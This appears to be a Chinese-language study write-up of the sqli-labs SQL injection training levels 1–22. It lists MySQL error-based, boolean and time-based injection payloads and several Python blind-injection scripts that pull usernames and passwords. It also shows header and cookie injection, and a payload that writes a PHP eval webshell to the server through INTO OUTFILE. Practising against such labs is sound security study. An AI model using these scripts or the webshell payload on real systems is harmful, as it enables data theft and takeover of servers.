学习记录
- 前置小知识点
- 盲注小知识点
- 基于时间的盲注
- 第一关--字符型注入
- 第二关--数字型注入
- 第三关--构造闭合
- 第四关 ---闭合sql语句
- 第五关 ----- 盲注
- 第六关 ------时间盲注与报错注入
- 第七关 --- 文件导入
- 第八关 --- 盲注
- 第九关-----时间盲注
- 第十关-----基于双引号的时间盲注
- 第十一关-----POST型注入
- 第十二关--闭合
- 第十三关---报错注入
- 第十四关 --- 盲注
- 第十五关---盲注
- 第十六关 --- 盲注报错都行无聊的题
- 第十七关 --- 报错注入
- 第十八关 --- UA注入
- 第十九关---Referer头注入
- 第二十关 --- Cookie注入
- 第二十一关 --- Cookie注入
- 第二十二关 --- Cookie注入
前置小知识点
系统函数
version()——MySQL 版本
user()——数据库用户名
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本
字符串连接函数
- 1.concat(str1,str2,…)——没有分隔符地连接字符串
- 2.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- 3.group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据 说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
一般用于替换的语句
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
union 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。但是UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时每条 SELECT 语句中的 列的顺序必须相同。
🐻:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
盲注小知识点
布尔型
逻辑判断
- left(database(),1)>’s’ //left()函数
说明:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位 - ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ //substr()函数,ascii()函数
说明:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
比如:ascii(substr((select database()),1,1))=98 - ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数
说明:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii 值
配合正则注入
regexp 正则注入
用法介绍:select user() regexp ‘^[a-z]’;
说明:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。 第二位可以用 select user() regexp '^ro’来进行。
Payload
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
以上语句可以简化成如下的形式
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
exp 报错
- select exp(~(select * FROM(SELECT USER())a))
- 说明:double 数值类 型超出范围
- Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上
参考 exp 报错文章
bigint溢出
- select !(select * from (select user())x) - ~0
- bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上
具体可以百度,我也不太清楚
其他
extractvalue(1,concat(0x7e,(select @@version),0x7e))
--+ mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
--+ mysql 对 xml 数据进行 查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--+ mysql 重复特性,此处重复了 version,所以报错
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x
基于时间的盲注
If(ascii(substr(database(),1,1))>115,0,sleep(5))#
--+ if 判断语句,条件为假, 执行 sleep
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
--+BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()
第一关–字符型注入
id=1
回显正常
说明是字符型注入,并且加了这个后多了个’所以注释后面
可能版本独特报错直接告诉我只有3列
查表名
查列名
查询对应数据
第二关–数字型注入
id=1与2-1都一样
查到有3列
查表名
查列名
查询数据
第三关–构造闭合
得出闭合为(’’)
有3列
判断表名
判断列名
得到数据
第四关 —闭合sql语句
闭合方式("")
有3列
查表名
查列名
查数据
第五关 ----- 盲注
这一关如果正确则显示you are in …,失败则无,判断是盲注,再加上没有绕过,直接上二分法脚本
import requests
url = "url/?id=1' and 1= "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr(database(),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0)--+'
payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0)--+'
r = requests.get(url + payload)
if "You are in" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
第六关 ------时间盲注与报错注入
import requests
url = "url/?id=1\" and 1= "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
try:
r = requests.get(url + payload, timeout=2)
head = mid + 1
except Exception as e:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
当然报错注入也是ok的
这个也行
数据溢出那些都可以就不再演示
第七关 — 文件导入
看提示
插入一句话木马完事了
http://127.0.0.1/sqllib/Less-7/?id=1’))UNION SELECT 1,2,’<?php @eval($_post[“mima”])?>’ i nto outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+
第八关 — 盲注
这关不能用报错注入,看源代码发现把错误提示注释了
import requests
url = "url?id=1' and 1="
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr(database(),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0)--+'
r = requests.get(url + payload, timeout=2)
if 'You are in' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
第九关-----时间盲注
看标题知道是时间盲注,事实上不管我咋输入其他sql语句都是一个结果,用二分法爆出结果
import requests
url = "url?id=1' and 1="
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
try:
r = requests.get(url + payload, timeout=2)
head = mid + 1
except Exception as e:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
第十关-----基于双引号的时间盲注
import requests
url = "url/?id=1\" and 1="
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
try:
r = requests.get(url + payload, timeout=2)
head = mid + 1
except Exception as e:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
第十一关-----POST型注入
不知道为什么用–+就不行,用#注释也不行
admin'or'1'='1#
这样发现可以
判断两列
uname=admin' or 1=1 union select 1,2-- -&passwd=admin&submit=Submit
得到回显位置
查数据库
查数据表
查users表下的列名
查数据
第十二关–闭合
通过构造参数我发现sql语句应该是类似这样@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
后面就是老思路了,也没waf
第十三关—报错注入
其实也可以像这样,但是我想试试报错注入
uname=admin’)and left(database(),1)>‘a’#&passwd=1&submit=Submit
updatexml测试没问题
111') and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
111') and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
也没问题
那就随便玩了
第十四关 — 盲注
报错注入也行我想玩一下盲注
上二分法脚本
import requests
url = "url"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'hhh" or 1=if(ascii(substr(database(),{i},1))>{mid},1,0)#'
payload = f'hhh" or 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)-- -'
# payload = f'hhh" or 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0) #'
# payload = f'hhh" or 1=if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0) #'
# payload = f'hhh" or 1=if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0) #'
data = {
'uname': 'hhh',
'passwd': payload
}
r = requests.post(url, data=data)
if 'flag' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
第十五关—盲注
无聊的重复工作,懒得做了,改个参数就行
import requests
url = "url"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'hhh\' or 1=if(ascii(substr(database(),{i},1))>{mid},1,0)#'
payload = f'hhh\' or 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)-- -'
# payload = f'hhh\' or 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0) #'
# payload = f'hhh\' or 1=if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0) #'
# payload = f'hhh\' or 1=if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0) #'
data = {
'uname': payload,
'passwd': ' '
}
r = requests.post(url, data=data)
if 'flag' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
第十六关 — 盲注报错都行无聊的题
import requests
url = "url"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'hhh") or 1=if(ascii(substr(database(),{i},1))>{mid},1,0)#'
# payload = f'hhh") or 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)-- -'
# payload = f'hhh") or 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0) #'
# payload = f'hhh") or 1=if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0) #'
payload = f'hhh") or 1=if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0) #'
data = {
'uname': payload,
'passwd': ' '
}
r = requests.post(url, data=data)
if 'flag' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
第十七关 — 报错注入
这关不能在username哪里搞事情,看了源码就知道了,一堆转义
发现加了'
后出错
注释掉后又正常,猜测语句为:
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
这里用爆错注入吧
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
,没啥问题
第十八关 — UA注入
有个这个猜测改IP参数
发现改IP不好搞诶,试一下登录,通过爆破得到用户名和密码
发现改UA头没问题,也没有waf,那就算是做完了
第十九关—Referer头注入
还是老规矩吧,先登录看一下是啥类型的
和18关一样没啥好做的吧
第二十关 — Cookie注入
这个提示还不明显么
修改Cookie为uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
懒得做了都这样了还做不出来才怪了
第二十一关 — Cookie注入
看了一眼也就是base64而已
把上一关payload base64编码即可
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2 VkaXIpLDB4N2UpKSM=
就算做完了
第二十二关 — Cookie注入
好像绕过了报错注入,那就手动试一试
hhh没问题,只是那个加密网站辣鸡出问题了